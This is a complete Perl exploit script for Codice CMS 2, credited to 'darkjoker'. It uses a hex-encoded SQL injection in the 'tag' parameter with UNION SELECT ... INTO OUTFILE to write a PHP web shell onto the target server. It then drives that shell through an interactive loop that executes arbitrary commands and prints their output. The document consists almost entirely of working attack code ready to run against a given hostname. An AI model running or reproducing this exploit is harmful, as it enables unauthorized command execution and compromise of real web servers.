Codice CMS 2 Remote SQL Command Execution Exploit

                                                #--+++===========================================================+++--
#--+++====== Codice CMS 2 Remote Command Execution Exploit ======+++--
#--+++===========================================================+++--


#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub banner
{
	print 	\"--+++===========================================================+++--\\n\".
		\"--+++====== Codice CMS 2 Remote Command Execution Exploit ======+++--\\n\".
		\"--+++===========================================================+++--\\n\\n\";
}

sub usage
{
	die \"\\n[+] Author   : darkjoker\".
	     \"\\n[+] Site    : http://darkjoker.net23.net\".
	     \"\\n[+] Download: http://freefr.dl.sourceforge.net/sourceforge/codice/codice-dev-prev.zip\".
	     \"\\n[+] Usage   : perl $0 <hostname> <path>\".
	     \"\\n[+] Ex.     : perl $0 localhost /codiceCMS\".
	     \"\\n[+] 22-03-2009 Gigi D\'Agostino allo Chalet, parco del Valentino, Torino!!\".
	     \"\\n\\n\";
}

sub dec2hex
{
	my $num = $_ [0];
	my $hex = sprintf (\"%x\", $num);
	return $hex;
}

sub hex_format
{
	my $i = 0;
	my $hex;
	my @string = split \'\', $_ [0];
	while ($i < scalar (@string))
	{
		$hex .= \"%\" . dec2hex (ord ($string [$i]));
		$i++;
	}
	return $hex;
}

sub get_script_path
{
	my ($hostname, $path) = @_;
	my $sock = new IO::Socket::INET (
		PeerHost => $hostname, 
		PeerPort => 80,
		Proto    => \"tcp\",
	) or usage;
	my $get =  \"GET ${path}/index.php?id HTTP/1.1\\r\\n\".
		   \"Host: ${hostname}\\r\\n\".
		   \"Connection: Close\\r\\n\\r\\n\";
	print $sock $get;
	my $src_path;
	while (<$sock>)
	{
		$src_path = $1 if ($_ =~ /resource in <b>(.+?)<\\/b>/);
	}
	close ($sock);
	return ($src_path) ? $src_path : 0;
}

sub create_shell
{
	my ($hostname, $path, $query) = @_;
	my $sock = new IO::Socket::INET (
		PeerHost => $hostname, 
		PeerPort => 80,
		Proto    => \"tcp\",
	) or usage;
	my $get = \"GET ${path}/index.php?tag=${query} HTTP/1.1\\r\\n\".
		  \"Host: ${hostname}\\r\\n\".
		  \"Connection: Close\\r\\n\\r\\n\";
	print $sock $get;
	close ($sock);
}

banner ();
my ($hostname, $path) = @ARGV;
usage unless ($path);
my $shell_path = get_script_path ($hostname, $path);
$shell_path =~ s/index\\.php$/shell\\.php/;
my $query = \'x %\\\' UNION SELECT 1, \\\'<?php system (stripslashes($_GET[\\\\\\\'cmd\\\\\\\'])); ?>\\\', 3, 4, 5, 6, 7 INTO OUTFILE \\\'\'.$shell_path.\'\\\' FROM cod_codice--\';
$query = hex_format ($query);
create_shell ($hostname, $path, $query);
print \"Remember to delete \'shell.php\' before exit!\\n\";
while (1)
{
	print \"nobody\\@${hostname} > \";
	my $cmd = <STDIN>;
	chomp $cmd;
	die (\"Good bye!\\n\") if $cmd =~ /^quit$/;
	$cmd = hex_format ($cmd);
	my $sock = new IO::Socket::INET (
		PeerHost => $hostname,
		PeerPort => 80,
		Proto    => \"tcp\",
	);
	my $req =  \"GET ${path}/shell.php?cmd=${cmd} HTTP/1.1\\r\\n\".
		   \"Host: ${hostname}\\r\\n\".
		   \"Connection: Close\\r\\n\\r\\n\";
	print $sock $req;
	my $k;
	while (<$sock>)
	{
		chomp $_;
		$_ .= \"newline\";
		$k .= $_;
	}
	$k =~ s/^.+1\\t//;
	$k =~ s/\\t3.+$//;
	$k = join (\"\\n\", split (\"newline\", $k));
	print $k . \"\\n\";
	close ($sock);
}